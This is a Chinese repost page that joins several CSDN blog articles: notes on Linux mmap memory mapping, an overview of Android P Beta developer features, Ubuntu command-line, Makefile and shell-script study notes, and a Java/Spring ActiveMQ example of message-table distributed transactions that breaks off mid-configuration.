area),如果在,则执行一个换入操作;如果上述两种情况都不满足,处理程序将分配新的物理页面,并把它插入到page cache中。进程最终将更新进程页表。 注:对于映射普通文件情况(非共享映射),缺页异常处理程序首先会在page cache中根据address_space以及数据偏移量寻找相应的页面。如果没有找到,则说明文件数据还没有读入内存,处理程序会从磁盘读入相应的页面,并返回相应地址,同时,进程页表也会更新. (5) 所有进程在映射同一个共享内存区域时,情况都一样,在建立线性地址与物理地址之间的映射之后,不论进程各自的返回地址如何,实际访问的必然是同一个共享内存区域对应的物理页面。 四 总结 1.对于mmap的内存映射,是将物理内存映射到进程的虚拟地址空间中去,那么进程对文件的访问就相当于直接对内存的访问,从而加快了读写操作的效率。在这里,remap_pfn_range函数是一次性的建立页表,而nopage函数是根据page fault产生的进程虚拟地址去找到内核相对应的逻辑地址,再通过这个逻辑地址去找到page。完成映射过程。remap_pfn_range不能对常规内存映射,只能对保留的内存与物理内存之外的进行映射。 2.在这里,要分清几个地址,一个是物理地址,这个很简单,就是物理内存的实际地址。第二个是内核虚拟地址,即内核可以直接访问的地址,如kmalloc,vmalloc等内核函数返回的地址,kmalloc返回的地址也称为内核逻辑地址。内核虚拟地址与实际的物理地址只有一个偏移量。第三个是进程虚拟地址,这个地址处于用户空间。而对于mmap函数映射的是物理地址到进程虚拟地址,而不是把物理地址映射到内核虚拟地址。而ioremap函数是将物理地址映射为内核虚拟地址。 3.用户空间的进程调用mmap函数,首先进行必要的处理,生成vma结构体,然后调用remap_pfn_range函数建立页表。而用户空间的mmap函数返回的是映射到进程地址空间的首地址。所以mmap函数与remap_pfn_range函数是不同的,前者只是生成mmap,而建立页表通过remap_pfn_range函数来完成。 本篇文章为转载内容。原文链接:https://blog.csdn.net/wh8_2011/article/details/52373213。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-20 22:49:12
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...的重要交互环节,比如启动器 (Launcher)、智能文本选择、Google Play、Google Search 应用,以及 Assistant。 App Actions 通过机器学习来分析用户最近的行为或使用场景,从而筛选出需要推荐的应用。由于这些推荐与用户当前想要做的事情高度关联,所以这套机制非常利于拓展新用户以及促活现有用户。 只需将您应用中的各个功能定义为语义意图 (semantic intent),便可以充分享受 App Actions 带来的好处。App Actions 中的意图和我们早些时候在 Google Assistant 上推出的语音对谈式动作 (Conversational Action) 是使用同一套通用意图分类,这个分类支持语音控制的音箱、智能屏幕、车载系统、电视、耳机等设备。由于不需要额外的 API 接口,所以只要用户的 Android 平台版本支持,App Actions 就可以正常使用了。 App Actions 很快就会面向开发者发布,如果您希望收到这方面的通知,请点击这里找到相关链接参与订阅。 · Slices 和 App Actions 一同到来的新功能还有 Slices,这个功能可以让您的应用以模块化、富交互的形式插入到多个使用场景中,比如 Google Search 和 Assistant。Slices 支持的交互包括 actions、开关、滑动条、滑动内容等等。 Slices 是让内容与用户联系的极佳方式,所以我们希望它可以在更多的场景中出现。除了在 Android P 上对这个功能进行了平台级别的整合外, Slices 的 API 和模板也加入到了 Android Jetpack 里。Android Jetpack 是我们全新打造的一套创建优秀应用的工具和库,通过 Android Jetpack,您制作的 Slices 能在 Kitkat (API 等级 19) 及更高版本上使用 —— 这覆盖了 95% 的已激活 Android 设备。我们也会定期更新 Slices 的模板来支持更多类型的场景和交互 (比如文本输入)。 请查阅上手指南以了解如何制作 Slices,使用 SliceViewer 工具查看您做好的 Slices。接下来,我们计划进一步拓展其使用场景,包括在其他 app 中展现您的 Slices。 · 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在 Android P 中,我们加入了新的放大镜工具 (Magnifier widget),使选择文本和调整光标位置变得更加轻松。默认情况下,所有继承自 TextView 的类都会自动支持放大镜,但您也可以使用放大镜 API 将它添加到任何自定义的视图上,从而打造更多样化的体验。 · 后台限制 (Background restrictions) 用户可以更加简单地找到并管理那些在后台消耗电量的应用。通过 Android Vitals 积累下来的成果,Android 可以识别那些过度消耗电量的行为,如滥用唤醒锁定等。在 Android P 中,电池设置页面直接列出了这些过度消耗电量的应用,用户只需一次点击就可以限制它们在后台的活动。 一旦应用被限制,那么它的后台任务、警报、服务以及网络访问都会受限。想要避免被限制的话,请留意 Play Console 中的Android Vitals 控制面板,帮助您了解如何提高性能表现以及优化电量消耗。 后台限制能有效保护系统资源不被恶意消耗,从而确保开发者的应用在不同制造商的不同设备上也能拥有一个基础的合理的运行环境。虽然制造商可以在限制列表上额外添加限制的应用,但它们也必须在电池设置页面为用户开放这些限制的控制权。 我们添加了一个标准 API 来帮助应用知晓自己是否被限制,以及一个 ADB 命令来帮助开发者手动限制应用,从而进行测试。具体请参阅相关文档。接下来我们计划在 Play Console 的 Android Vitals 控制面板里添加一个统计数据,以展示应用受到限制的情况。 · 使用动态处理增强音频 (Enhanced audio with Dynamics Processing) Android P 在音频框架里加入了动态处理效果 (Dynamic Processing Effect) 来帮助开发者改善声音品质。通过动态处理,您可以分离出特定频率的声音,降低过大的音量,或者增强那些过小的音量。举例来说,即便说话者离麦克风较远,而且身处嘈杂或者被刺耳的各种环境音包围的地方,您的应用依然可以有效分离并增强他/她的细语。 动态处理 API 提供了多声场、多频段的动态处理效果,包括一个预均衡器、一个多频段压缩器,一个后均衡器以及一个串联的音量限制器。这样您就可以根据用户的喜好或者环境的变化来控制 Android 设备输出的声音。频段数量以及各个声场的开关都完全可控,大多数参数都支持实时控制,如增益、信号的压缩/释放 (attack/release) 时长,阈值等等。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 安全 (Security) · 用户识别提示 (Biometric prompt) Android P 为市面上涌现出来的各种用户识别机制在系统层面提供了统一的使用体验,应用们不再需要自行提供用户识别操作界面,而只需要使用统一的 BiometricPrompt API 即可。这套全新的 API 替代了 DP1 版本中的 FingerprintDialog API,且支持包括指纹识别 (包括屏幕下指纹识别)、面部识别以及虹膜识别,而且所有系统支持的用户识别需求都包含在一个 USE_BIOMETRIC 权限里。FingerprintManager 以及对应的 USE_FINGERPRINT 权限已经被废弃,请开发者尽快转用 BiometricPrompt。 · 受保护的确认操作 (Protected Confirmation) Android P 新增了受保护的确认操作 (Android Protected Confirmation),这个功能使用可信执行环境 (Trusted Execution Environment, TEE) 来确保一个显示出来的提示文本被真实用户确认。只有在用户确认之后,TEE 才会放行这个文本并可由应用去验证。 · 对私有密钥的增强保护 (Stronger protection for private keys) 我们添加了一个新的 KeyStore 类型,StrongBox。并提供对应的 API 来支持那些提供了防入侵硬件措施的设备,比如独立的 CPU,内存以及安全存储。您可以在 KeyGenParameterSpec 里决定您的密钥是否该交给 StrongBox 安全芯片来保存。 Android P Beta 为用户带来新版本的 Android 需要 Google、芯片供应商以及设备制造商和运营商的共同努力。这个过程中充满了技术挑战,并非一日之功 —— 为了让这个过程更加顺畅,去年我们启动了 Project Treble,并将其包含在 Android Oreo 中。我们与合作伙伴们一直在努力开发这个项目,也已经看到 Treble 所能带来的机遇。 我们宣布,以下 6 家顶级合作伙伴将和我们一起把 Android P Beta 带给全世界的用户,这些设备包括:索尼 Xperia XZ2, 小米 Mi Mix 2S, 诺基亚 7 Plus, Oppo R15 Pro, Vivo X21UD 和 X21, 以及 Essential PH‑1。此外,再加上 Pixel 2, Pixel 2 XL, Pixel 和 Pixel XL,我们希望来自世界各地的早期体验者以及开发者们都能通过这些设备体验到 Android P Beta。 您可查看今天推送的文章查阅支持 beta 体验的合作伙伴和 Pixel 设备清单,并能看到每款设备的详细配置说明。如果您使用 Pixel 设备,现在就可以加入 Android Beta program,然后自动获得最新的 Android P Beta。 马上开始在您喜欢的设备上体验 Android P Beta 吧,欢迎您向我们反馈意见和建议!并请继续关注 Project Treble 的最新动态。 确保 app 兼容 随着越来越多的用户开始体验 Android P Beta,是时候开始测试您 app 的兼容性,以尽早解决在测试中发现的问题并尽快发布更新。请查看迁移手册了解操作步骤以及 Android P 的时间推进表。 请从 Google Play 下载您的应用,并在运行 Android P Beta 的设备或模拟器上测试用户流程。确保您的应用体验良好,并正确处理 Android P 的行为变更。尤其注意动态电量管理、Wi-Fi 权限变化、后台调用摄像头以及传感器的限制、针对应用数据的 SELinux 政策、默认启用 TLS 的变化,以及 Build.SERIAL 限制。 · 公开 API 的兼容性 (Compatibility through public APIs) 针对非 SDK 接口的测试十分重要。正如我们之前所强调的,在 Android P 中,我们将逐渐收紧一些非 SDK 接口的使用,这也要求广大的开发者们,包括 Google 内部的应用团队,使用公开 API。 如果您的应用正在使用私有 Android API 或者库,您需要改为使用 Android SDK 或 NDK 公开的 API。我们在 DP1 里已经对使用私有接口的开发者发出了警告信息,从 Android P Beta 开始,调用非 SDK 接口将会报错 (部分被豁免的私有 API 除外) —— 也就是说您的应用将会遭遇异常,而不再只是警告了。 为了帮助您定位非 SDK API 的使用情况,我们在 StrictMode 里加入了两个新的方法。您可以使用 detectNonSdkApiUsage() 在应用通过反射或 JNI 调用非 SDK API 的时候收到警报,您还可以使用 permitNonSdkApiUsage() 来阻止 StrictMode 针对这些调用报错。这些方法都可助您了解应用调用非 SDK API 的情况,但请注意,即便调用的 API 暂时得到了豁免,最保险的做法依然是尽快放弃对它们的使用。 如果您确实遇到了公开 API 无法满足需求的情况,请立刻告知我们。更多详细内容请查看相关文档。 · 凹口屏测试 (Test with display cutout) 针对凹口屏测试您的应用也十分重要。现在您可以在运行 Android P Beta 的合作伙伴机型上测试,确保您的应用在凹口屏上表现良好。同时,您也可以在 Android P 设备的开发者选项里打开对凹口屏的模拟,对您的应用做相应测试。 体验 Android P 在准备好开发条件后,请深入了解 Android P 并学习可以在您的应用中使用到的全新功能和 API。为了帮助您更轻松地探索和使用新 API,请查阅 API 变化报告 (API 27->DP2, DP1->DP2) 以及 Android P API 文档。访问开发者预览版网站了解详情。 下载/更新 Android P 开发者预览版 SDK 和工具包至 Android Studio 3.1,或使用最新版本的 Android Studio 3.2。如果您手边没有 Android P Beta 设备 (或查看今天推送的次条文章),请使用 Android P 模拟器来运行和测试您的应用。 您的反馈一直都至关重要,我们欢迎您畅所欲言。如果您在开发或测试过程中遇到了问题,请在文章下方留言给我们。再次感谢大家一路以来的支持。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34258782/article/details/87952581。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
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...l:显示文件的权限、修改时间等 ls -al:上面两个结合 ls 目录:显示该目录下的文件 – cd /:进入linux根目录 cd ~:/home/jl – uname :查看系统信息 uname -a :查看全部系统信息 – cat 文件名:显示某文件内容 – sudo :临时切换root用户 sudo apt-get install 软件名 :装某软件 sudo su:直接切换root用户(少用) sudo su jl:切换回普通用户 – touch 文件名:创建文件 rm -r 目录/文件:删除文件/目录及它包含的所有内容 rm -f 文件:直接删除,无需确认 rm -i 文件:删除文件,会逐一询问是否删除 rmdir 目录:专门删除目录 mv :可以用来移动文件/目录,也可以用来重命名 – ifconfig:显示网络配置信息(lo:本地回环测试) ifconfig -a:显示所有网卡(上面只显示工作的,本条显示所有工作和未工作的) ifconfig eth0 up:打开eth0这个网卡 ifconfig eth0 down:关闭eth0这个网卡(0一般要sudo来执行) ifconfig eth0 你想设置的地址:重设eth0的ip地址 – 命令 --help:看看这个命令的帮助信息 reboot:重启 – sync:数据同步写入磁盘命令(一般来说,用户写的内容先保存在一个缓冲区,系统是隔一定时间像磁盘写入缓冲区内写入磁盘),用sync立刻写入 grep ”“ -i :搜索时忽略大小写 grep 默认是匹配字符, -w 选项默认匹配一个单词 例如我想匹配 “like”, 不加 -w 就会匹配到 “liker”, 加 -w 就不会匹配到 du 目录/文件 -sh : 查看某一文件/目录的大小,也可以到一个目录下du -sh,查看这个目录的大小 目录下使用du -sh 查看目录总的大小 du 文件名 -sh 查看指定文件的大小 df:检查linux服务器的文件系统磁盘空间占用情况,默认以kb为单位 gedit 文件:使用gedit软件打开一个文件(类似于windows下面的记事本) ps:查看您当前系统有哪些进程,ubuntu(多用户)下是ps -aux,嵌入式linux(单用户)下面是ps top:进程实时运行状态查询 file 文件名:查看文件类型 ubuntu的fs cd / :根目录,一切都是从根目录发散开来的 /bin:存放二进制可执行文件,比如一些命令 /boot:ubuntu的内核与启动文件 /cdrom:有光盘是存放光盘文件 /dev:存放设备驱动文件 /etc:存放配置文件,如账号和密码文件(加密后的) /home:系统默认的用户主文件夹 /lib:存放库文件 /lib64:存放库文件,. so时linux下面的动态库文件 /media:存放可插拔设备,如sd,u盘就是挂载到这个文件下面 /mnt:用户可使用的挂载点,和media类似,可以手动让可插拔设备挂载到/mnt /opt:可选的文件和程序存放目录,给第三方软件放置的目录 /proc:存放系统的运行信息,实在内存上的不是在flash上,如cat /proc/cpuinfo /root:系统管理员目录,root用户才能访问的文件 /sbin:和bin类似,存放一些二进制可执行文件,sbin下面一般是系统开机过程中所需要的命令 /srv:服务相关的目录,如网络服务 /sys:记录内核信息,是虚拟文件系统 /tmp:临时目录 /usr:不是user的缩写,而是UNIX Software Resource的缩写,存放系统用户有关的文件,占很大空间 /var:存放变化的文件,如日志文件 – 移植就是移植上面这些文件 磁盘管理 linux开发一定要选用FAT32格式的U盘或者SD卡 u盘在/dev中的名字是sd,要确定是哪个,拔了看少了哪个。就是哪个 /dev/sdb表示U盘,/dev/sdb1表示U盘的第一个分区,一般U盘 sd卡只有一个分区 df:显示linux系统的磁盘占用情况 在一个目录里使用du -sh:查看这个目录里面所有内容所占用的资源 du 文件名 -sh:一般用来看单个文件/目录的大小 du -h --max-depth=n:显示n级目录的大小 – 磁盘的挂载与取消挂载: mount 和 umount sudo mount /dev/sdb1 /media/jl/udisk sudo umount /media/jl/u盘名 (-f 强制取消挂载),如果u盘正在使用,如被另一个终端打开,那么该指令无效 mount挂载后中文显示乱码的解决方法 sudo mount -o iocharset=utf8 /dev/sdb1 udisk – 磁盘的分区和格式化 sudo fdisk -l /dev/sdb 查看所有分区信息(–help查看别的用法) sudo fdisk /dev/sdb1 ----> m ( 进入帮助 ) ----> d 删除该分区 ----> wq 保存并退出 mkfs -t vfat /dev/sdb1 mkfs -t vfat /dev/sdb2 mkfs -t vfat /dev/sdb3 给分区1,2,3分别格式化,完成后能在图形界面看见三个u盘图标 格式化u盘之前一定要先卸载u盘已经挂载的系统。 – 压缩和解压缩 linux下常用的压缩扩展名: .tar .tar.bz2 .tar.gz 后两个linux常用 windows下面用7zip软件 右键选中文件,选择7zip,添加到压缩包,压缩格式选择tar,仅存储 生成tar文件,这里只是打包,没有压缩 右键上面的tar文件,选择7zip,添加到压缩包,压缩格式选择bzip2,确定 生成.tar.bz2文件,把它放到ubuntu解压 ubuntu也支持解压.tar和.zip,但后面两个常用 – ubuntu下面的压缩工具时gzip 压缩文件 gzip 文件名:压缩文件,变成 原文件名.gz,原来的文件就不见了 解压缩文件 gzip -d .gz:还原 文件 gzip -r 目录:递归,将该目录里的各个文件压缩,不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名,压缩成 文件名.bz2 bzip2 -d 文件名.bz2,解压缩成 文件名 bzip2不能压缩/解压缩 目录 – 打包工具 tar 常用参数 -f:使用归档文件(必须要在所有选项后面) -c:创建一个新归档 -x:从归档中解出文件 -j:使用bzip2压缩格式 -z:使用gzip压缩格式 -v:打印出命令执行过程 如以bzip2格式压缩,打包 tar -vcjf 目录名.tar.bz2 目录名 如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar(用dhcp连不上阿里云的镜像) rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具 压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os,不同的用户有不同的权限,可以查看和操作不同的文件 有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内,不是以明文记录的 每个用户都有一个id,叫做UID – linux用户组 为了方便管理,将用户进行分组,每个用户可以属于多个组 可以设置非本组人员不能访问一些文件 用户和用户组的存在就是为了控制文件的访问权限的 每个用户组都有一个ID,叫做GID 用户组信息存储在/etc/group中 passwd 用户名:修改该用户的密码 – ubuntu文件权限 ls -al 文件名 如以b开头: -brwx - rwx - rwx -:b表示 块文件,设备文件里面可供存储的周边设备 以d开头是目录 以b是块设备文件 以-开头是普通文件 以 l 开头表示软连接文件 以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -:用户权限,用户组内其他成员,其它组用户 数字 1 表示链接数,包括软链接和硬链接 第三列 jl 表示文件的拥有者 第四列 jl 表示文件的用户组 第五列 3517 表示这个文件的大小,单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间 最后一列是文件名 – 修改文件权限命令 chmod 777 文件名 修改文件所属用户 sudo chown root 文件 修改文件用户组 sudo chown .root 文件 同时修改文件用户和用户组 sudo chown jl.jl 文件 修改目录的用户/用户组 sudo chown -r jl.jl 目录( root.root ) – linux连接文件 1、硬连接 2、符号连接(软连接) linux有两种连接文件,软连接/符号连接,硬连接 符号连接类似于windows下面的快捷方式 硬连接通过文件系统的inode连接来产生新文件名,而不是产生新文件 inode:记录文件属性,一个文件对应一个inode, inode相当于文件ID 查找文件要先找到inode,然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件 目标文件 不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件,如果目标存在,就先删掉目标文件,再创建连接文件 – 硬连接:多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件,创建硬连接相当于文件实体多了入口 只有删除了源文件、和它所有的硬连接文件,晚间实体才会被删除 可以给文件创建硬连接来防止文件误删除 改了源文件还是硬连接文件,另一个文件的数据都会被改变 硬连接不能跨文件系统(另一个格式的u盘中的文件) 硬连接不能连接到目录 出于以上原因,硬连接不常用 ls -li:此时第一列显示的就是每个文件的inode – 软连接/符号连接 类似windows下面的快捷方式 使用较多 软连接相当于串联里一个独立的文件,该文件会让数据读取指向它连接的文件 ln -s 源文件 目标文件 特点: 可以连接到目录 可以跨文件系统 删除源文件,软连接文件也打不开了 软连接文件通过 “ -> ” 来指示具体的连接文件(ls -l) 创建软连接的时候,源文件一定要使用绝对路径给出,(硬连接无此要求) 软连接文件直接用cp复制到别的目录下,软连接文件就会变成实体文件,就算你把源文件删掉,该文件还是有效 正确的复制、移动软连接的用法是:cp -d 如果不用绝对路径,cp -d 软连接文件到别的目录,该软连接文件就会变红,失效 如果用了绝对路径,cp -d 软连接文件到别的目录,该软连接文件还是有效的,还是软连接文件 不用绝对路径,一拷贝就会出问题 – 软连接一个目录,也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式: 1、一般模式:默认模式,用vim打开一个文件就自动进入这个模式 2、编辑模式:按 i,a等进入,按esc回到一般模式 3、命令行/底行模式:在一般模式下输入:/ ?可进入命令行模式 ,按esc回到一般模式 一般模式下,dd删除光标所在的一整行; ndd,删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格:在/etc/vim/vimrc里面添加:set ts=4 设置vim中显示行号:在上面那个文件里添加:set nu – vscode是编辑器 gcc能编译汇编,c,cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序,而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器,又叫做交叉编译器(在一种架构的电脑上编译成另一种架构的代码) gcc -c 源文件:只编译不链接,编译成.o文件 -o 输出文件名( 默认名是 .out ) -O 对程序进行优化编译,这样产生的可执行文件执行效率更高 -O2:比-O幅度更大的优化,但编译速度会很慢 -v:显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 : $ ( 变量名 ) – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ,那么shell’命令本身就不会被打印 – 赋值符:= 变量的有效值取决于他最后一次被赋值的值 : = 赋值时右边的值只是用前面已经定义好的,不会使用后面的 ?= 如果左边的前面没有被赋值,那么在这里赋值,佛则就用前面的赋值 + = 左边前面已经复制了一些字串,在这里添加右边的内容,用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符,只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS:用于优化参数,指定库文件的位置 LIBS:告诉链接器要链接哪些库文件 VPATH:特殊变量,指定源文件的位置,冒号隔开,按序查找源文件 vpath:关键字,三种模式,指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候,表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件,如果依赖文件是以 % 定义的,那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合,以空格分开 $ ^ 所有依赖文件的集合,用空格分开,如果有重复的依赖文件,只保留一次 $ + 和 $ ^ 类似,但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c,目标模式是 a.%.c,那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件,只是执行它下面的命令 如果被错认为是文件,由于伪目标一般没有依赖,那么目标就被认为是最新的,那么它下面的命令就不会执行 。 如果目录下有同名文件,伪目标错认为是该文件,由于没有依赖,伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件,伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组,循环,条件判断等功能 开头必须是:!/bin/bash 表示使用bash 脚本的扩展名:.sh – 交互式shell 有输入有输出 输入:read 第三行 name在这里作为变量,read输入这个变量 下一行使用这个变量直接是 $name,不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) ),注意要两个括号 – test 测试命令 文件状态查询,字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确,那么cmd2也执行 当cmd2执行完并且错误,那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确,那么cmd2不执行 当cmd2执行完并且错误,那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格,如果不加空格,test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 != 四个箭头所指必须用空格隔开 而且如果变量是字符串的话,一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号(1,2,3,4…) $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”,否则就不是通配符的意思,而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环,使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值;限制值;执行步长)) do //循环代码段 done – 红点处必须要加空格!! loop 环 – – 注意变量有的地方用了 $ ,有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接:https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 17:18:30
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...message表插入消息 2、message表有message_id(流水id,标识夸系统的一次转账操作),status(confirm,unconfirm) 3、timer扫描message表的unconfirm状态记录往activemq插入消息 4、余额宝收到消息消费消息时先查询message表如果有记录就不处理如果没记录就进行数据库增款操作 5、如果余额宝数据库操作成功往余额宝message表插入消息,表字段跟支付宝message一致 6、如果5操作成功,回调支付宝接口修改message表状态,把unconfirm状态转换成confirm状态 问题描述: 1、支付宝设计message表的目的 如果支付宝往activemq插入消息而余额宝消费消息异常,有可能是消费消息成功而事务操作异常,有可能是网络异常等等不确定因素。如果出现异常而activemq收到了确认消息的信号,这时候activemq中的消息是删除了的,消息丢失了。设置message表就是有一个消息存根,activemq中消息丢失了message表中的消息还在。解决了activemq消息丢失问题 2、余额宝设计message表的目的 当余额宝消费成功并且数据库操作成功时,回调支付宝的消息确认接口,如果回调接口时出现异常导致支付宝状态修改失败还是unconfirm状态,这时候还会被timer扫描到,又会往activemq插入消息,又会被余额宝消费一边,但是这条消息已经消费成功了的只是回调失败而已,所以就需要有一个这样的message表,当余额宝消费时先插入message表,如果message根据message_id能查询到记录就说明之前这条消息被消费过就不再消费只需要回调成功即可,如果查询不到消息就消费这条消息继续数据库操作,数据库操作成功就往message表插入消息。 这样就解决了消息重复消费问题,这也是消费端的幂等操作。 基于消息中间件的分布式事务是最理想的分布式事务解决方案,兼顾了安全性和并发性! 接下来贴代码: 支付宝代码: @Controller@RequestMapping("/order")public class OrderController {/ @Description TODO @param @return 参数 @return String 返回类型 @throws userID:转账的用户ID amount:转多少钱/@Autowired@Qualifier("activemq")OrderService orderService;@RequestMapping("/transfer")public @ResponseBody String transferAmount(String userId,String messageId, int amount) {try {orderService.updateAmount(amount,messageId, userId);}catch (Exception e) {e.printStackTrace();return "===============================transferAmount failed===================";}return "===============================transferAmount successfull===================";}@RequestMapping("/callback")public String callback(String param) {JSONObject parse = JSONObject.parseObject(param);String respCode = parse.getString("respCode");if(!"OK".equalsIgnoreCase(respCode)) {return null;}try {orderService.updateMessage(param);}catch (Exception e) {e.printStackTrace();return "fail";}return "ok";} } public interface OrderService {public void updateAmount(int amount, String userId,String messageId);public void updateMessage(String param);} @Service("activemq")@Transactional(rollbackFor = Exception.class)public class OrderServiceActivemqImpl implements OrderService {Logger logger = LoggerFactory.getLogger(getClass());@AutowiredJdbcTemplate jdbcTemplate;@AutowiredJmsTemplate jmsTemplate;@Overridepublic void updateAmount(final int amount, final String messageId, final String userId) {String sql = "update account set amount = amount - ?,update_time=now() where user_id = ?";int count = jdbcTemplate.update(sql, new Object[]{amount, userId});if (count == 1) {//插入到消息记录表sql = "insert into message(user_id,message_id,amount,status) values (?,?,?,?)";int row = jdbcTemplate.update(sql,new Object[]{userId,messageId,amount,"unconfirm"});if(row == 1) {//往activemq中插入消息jmsTemplate.send("zg.jack.queue", new MessageCreator() {@Overridepublic Message createMessage(Session session) throws JMSException {com.zhuguang.jack.bean.Message message = new com.zhuguang.jack.bean.Message();message.setAmount(Integer.valueOf(amount));message.setStatus("unconfirm");message.setUserId(userId);message.setMessageId(messageId);return session.createObjectMessage(message);} });} }}@Overridepublic void updateMessage(String param) {JSONObject parse = JSONObject.parseObject(param);String messageId = parse.getString("messageId");String sql = "update message set status = ? where message_id = ?";int count = jdbcTemplate.update(sql,new Object[]{"confirm",messageId});if(count == 1) {logger.info(messageId + " callback successfull");} }} activemq.xml <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:amq="http://activemq.apache.org/schema/core"xmlns:jms="http://www.springframework.org/schema/jms"xmlns:context="http://www.springframework.org/schema/context"xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans-4.1.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context-4.1.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-4.1.xsdhttp://www.springframework.org/schema/jmshttp://www.springframework.org/schema/jms/spring-jms-4.1.xsdhttp://activemq.apache.org/schema/corehttp://activemq.apache.org/schema/core/activemq-core-5.12.1.xsd"><context:component-scan base-package="com.zhuguang.jack" /><mvc:annotation-driven /><amq:connectionFactory id="amqConnectionFactory"brokerURL="tcp://192.168.88.131:61616"userName="system"password="manager" /><!-- 配置JMS连接工长 --><bean id="connectionFactory"class="org.springframework.jms.connection.CachingConnectionFactory"><constructor-arg ref="amqConnectionFactory" /><property name="sessionCacheSize" value="100" /></bean><!-- 定义消息队列(Queue) --><bean id="demoQueueDestination" class="org.apache.activemq.command.ActiveMQQueue"><!-- 设置消息队列的名字 --><constructor-arg><value>zg.jack.queue</value></constructor-arg></bean><!-- 配置JMS模板(Queue),Spring提供的JMS工具类,它发送、接收消息。 --><bean id="jmsTemplate" class="org.springframework.jms.core.JmsTemplate"><property name="connectionFactory" ref="connectionFactory" /><property name="defaultDestination" ref="demoQueueDestination" /><property name="receiveTimeout" value="10000" /><!-- true是topic,false是queue,默认是false,此处显示写出false --><property name="pubSubDomain" value="false" /></bean></beans> spring-dispatcher.xml <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 